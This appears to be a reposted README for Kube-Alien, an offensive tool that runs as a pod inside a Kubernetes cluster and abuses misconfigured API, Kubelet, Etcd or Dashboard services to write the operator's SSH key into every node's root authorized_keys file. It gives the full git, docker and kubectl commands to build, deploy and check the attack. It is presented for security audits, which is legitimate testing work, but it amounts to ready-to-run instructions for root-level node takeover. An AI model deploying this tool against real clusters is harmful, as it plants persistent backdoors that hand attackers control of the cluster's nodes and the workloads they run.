Kube-Alien - Tool To Launches Attack on K8s Cluster from Within

This tool launches attack on k8s cluster from within. That means you already need to have an access with permission to deploy pods in a cluster to run it. After running the kube-alien pod it tries to takeover cluster's nodes by adding your public key to node's /root/.ssh/authorized_keys file by using this image https://github.com/nixwizard/dockercloud-authorizedkeys (Can be adjusted using ADD_AUTHKEYS_IMAGE param in config.py) forked from docker/dockercloud-authorizedkeys. The attack succeedes if there is a misconfiguration in one of the cluster's components it goes along the following vectors:

• Kubernetes API
• Kubelet service
• Etcd service
• Kubernetes-Dashboard

What is the purpose of this tool?

• While doing security audit of a k8s cluster one can quickly assess it's security posture.
• Partical demostration of the mentioned attack vectors exploitation.

How can k8s cluster be attacked from within in a real life?

• RCE or SSRF vunerability in an app which is being run in one of your cluster's pods.

Usage
Kube-alien image should be pushed to your dockerhub(or other registry) before using with this tool.

git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka

The AUTHORIZED_KEYS env required to be set to the value of your ssh public key, in case of success the public key will be added to all node's root's authorized_keys file.

kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

or you may use my image for quick testing purpose:

kubectl run --image=nixwizard/kube-alien kube-alien:ka --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

Check Kube-alien pod's logs to see if attack was successful:

kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')

The following resources helped me a lot in creating this tool

• https://www.youtube.com/watch?v=vTgQLzeBfRU
• https://www.youtube.com/watch?v=dxKpCO2dAy8 (and other awesome posts on kubernetes attack surface at https://raesene.github.io)
• https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c